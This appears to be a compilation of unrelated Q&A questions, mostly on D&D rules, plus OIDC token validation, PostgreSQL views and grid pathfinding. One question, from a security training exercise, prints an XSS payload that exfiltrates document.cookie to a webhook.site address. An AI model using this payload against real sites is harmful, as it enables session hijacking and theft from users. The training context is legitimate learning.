## Would it harm game balance to allow the Haste action to be used to drink a potion?

RAW, Haste specifies:

[The target] gains an additional action on each of its turns. That action can be used only to take the Attack (one weapon attack only), Dash, Disengage, Hide, or Use an Object action.

And it has already been stablished that “Use an object” is not valid to use a magic item which to my understanding includes drinking a potion.

So my question is, would it break balance much to actually disregard that and allow the drinking of a potion as one of the actions granted by Haste?

## Should OIDC introspection endpoint be used to validate the JWT access token?

My resource server exposes an API that expects JWT access tokens obtained using OpenID Connect.

So far the validation in the resource server side consisted on using the Realm public key to validate the JWT access token signature and check some other parameters suchs as expiration time.

Since the access token is a JWT, I already have information about the user (sub, role claims etc). So I wouldn’t need to invoke the introspection endpoint to get it.

However the introspection endpoint also anwers with the active state of a token. Does it make sense to use it as another step in the JWT access token validation process? Is it really necessary or should I consider it valid just checking the signature and the other claims?

Is the tradeoff of the added latency to invoke just another endpoint to validate worth it?

## Can tree stride be used on a transformed Staff of the Woodlands?

If I transform a Staff of the Woodlands into a tree can I use it with the tree stride spell?

Staff of the Woodlands transformation ability

Tree Form: You can use an action to plant one end of the staff in fertile earth and expend 1 charge to transform the staff into a healthy tree. The tree is 60 feet tall and has a 5-foot-diameter trunk, and its branches at the top spread out in a 20-foot radius. The tree appears ordinary but radiates a faint aura of Transmutation magic if targeted by Detect Magic. While touching the tree and using another action to speak its Command, word, you return the staff to its normal form. Any creature in the tree falls when it reverts to a staff.

Excerpt from Tree Stride

You gain the ability to enter a tree and move from inside it to inside another tree of the same kind within 500 feet.

If so how would I determine what type of tree it is for the spell? Is it random? Would it only be able to teleport between other transformed Staff of the Woodlands?

## PostgreSQL: difference between index on materialized view and index on tables used in a non-materialized view

I have tables `a(id TEXT, url TEXT)` and `b(id TEXT, url TEXT)` containing same or similar set of columns.

Would the query plans created for simple `SELECT * FROM m WHERE id = ?` be identical (or at least within same order of magnitude) for the following two views:

1. Materialized view combining columns from both tables with an index on the shared id field
``CREATE MATERIALIZED VIEW m AS (   SELECT id, url FROM a   UNION   SELECT id, url FROM b ); CREATE INDEX idx_m_id ON m(id);  ``
1. View combining the tables, with each table having its own index on the column
``CREATE INDEX idx_a_id ON a(id);  CREATE INDEX idx_b_id ON b(id);  CREATE VIEW m AS (   SELECT id, url FROM a   UNION   SELECT id, url FROM b ); ``

## If I used Wish to become immune to being seen via Truesight and stand in an area of magical darkness, can a creature with Truesight see me?

As the title says, does standing inside an area of magical darkness, while being immune from detection through truesight (not the spell, but the monster ability), render me unseen from a creature that has truesight?

On the one hand, the answer might be yes. I am undetectable by truesight now, and truesight is what is enabling the creature to see me.

On the other hand, the answer might be no. Truesight allows the creature to see through the magical darkness and I am not actually invisible.

Which is the answer that has more adherence to the rules as written? Or is this a gray area in the rules?

## Is the container used for Magic Jar still “nonmagical object”?

As the title says, I would like to understand if the container used to cast Magic Jar should be considered as a magical item and can’t be used for other spells/abilities that require a “nonmagical object”, such as True Polymorph. I would say no because the Sage Advice Compendium (pp. 17-18) lists some criteria that do not seem to match with this case, but I am not totally sure.

## document.cookie is not interpreted in my XSS, webhook used

I’m on a training site and the answer of an exercise is to add to the url:

`<script>document.write('<img src="https://webhook.site/<XXX>?c='%2bdocument.cookie%2b'" />')</script>`

It must ben interpreted in the result page by an image which has the url : [https://webhook.site/?c=COOKIE1

But in the interpreted URL, I don’t have the cookie : `<img src="https://webhook.site/5f6eb08d-a368-44c6-a93c-d6856315b8ad/?c=">`

## Is the Ixalan Vampire’s Bloodthirst ability balanced around being used on downed enemy combatants?

For reference…

Bloodthirst

You can drain blood and life energy from a willing creature, or one that is grappled by you, incapacitated, or restrained. Make a melee attack against the target. If you hit, you deal 1 piercing damage and 1d6 necrotic damage. The target’s hit point maximum is reduced by an amount equal to the necrotic damage taken, and you regain hit points equal to that amount. The reduction lasts until the target finishes a long rest. The target dies if this effect reduces its hit point maximum to 0.

I’m a DM. I have a player who states that RAW, he can use this ability on knocked out (downed) enemy combatants at the end of combat for a 2d6 heal per combatant (and potentially 4d6 if they succeed their final death save on their turn). It’s his intention that with party teamwork, a large majority (if not all) of the combatants will be knocked out, allowing for fairly substantial free post-combat healing.

While RAW this seems to be the case, to me it doesn’t seem balanced. What are the opinions of other DM’s about the balance of this ability with this in mind?

# Setup

Here’s the setup: I have an $$N$$ x $$N$$ grid of tiles, and a list of $$M$$ agents that need to move across the grid. Each agent has its own start tile $$S(a)$$, end tile $$E(a)$$, and an exact number of steps $$D(a)$$ it must make. Each step consists of a one-tile move horizontally, vertically, or staying in place. For each agent, $$D(a)$$ is usually much larger than the Manhattan distance between $$S(a)$$ and $$E(a)$$, so the path the agent takes is not necessarily a straight line from $$S(a)$$ to $$E(a)$$. Furthermore, the sum of all $$D(a)$$ is expected to be much larger than $$N$$ x $$N$$, so every tile will be used at least once. Agent paths are allowed to intersect with other paths and with themselves, and the number of agents on a tile at any given time doesn’t matter.

# The Problem

I would like to find paths for each agent that begin at $$S(a)$$, end at $$E(a)$$, and are exactly $$D(a)$$ steps long, with the goal of minimizing the maximum number of times any given tile is used. More formally, given an agent path $$P_0 \ldots P_n$$, let $$C(P, t)$$ be the number of times tile $$t$$ appears in $$P$$, and let $$A(t)$$ be the sum of $$C(P, t)$$ over all agent paths. I would like to find agent paths that minimize the maximum $$A(t)$$ over all tiles $$t$$.

My intuition tells me that this problem is almost certainly NP hard, so I’m looking for some kind of approximation or heuristic.

# First Attempt

My first stab at solving this was to find each path sequentially. For each agent, I create a 3-dimensional $$N$$ x $$N$$ x $$D(a)$$ search space, then use A* search to find the min-cost path from $$[S(a), 0]$$ to $$[E(a), D(a)]$$. The cost of each node in the search is the number of times that tile has been used by previous paths. Then, once the path is found, I add to the cost of each tile used, and proceed to the next agent. Of course, this leads to the problem that while the last agent path will be pretty good, the first agent path will be essentially random because the grid is yet totally unused. So, I just loop this process a few times; once the last path is computed and the tile costs updated, I loop back to the first path, subtract from the grid the costs that agent contributed, then recompute that path and add the new costs in. After 3 or 4 loops, I converge on a pretty reasonable solution.

But I’m hoping there’s a better idea out there. Any ideas or references to similar problems that I could read up on would be very welcome.

## What labels should be used when moves referencing playbook-specific features are taken as a move from another playbook?

A few playbook moves reference labels connected to playbook-specific features – for example the Protege’s Venting Frustration, allowing the character to roll the label their mentor denies to directly engage a threat while Angry.

When taken as a “take a move from another playbook” advance for a character who doesn’t have the playbook feature in question, how would you decide which label a character should use?

This is well into the realms of GM discretion and will often come down to the details of the specific character and move in question, but I’d like to know about people’s strategies and methods for making this sort of decision.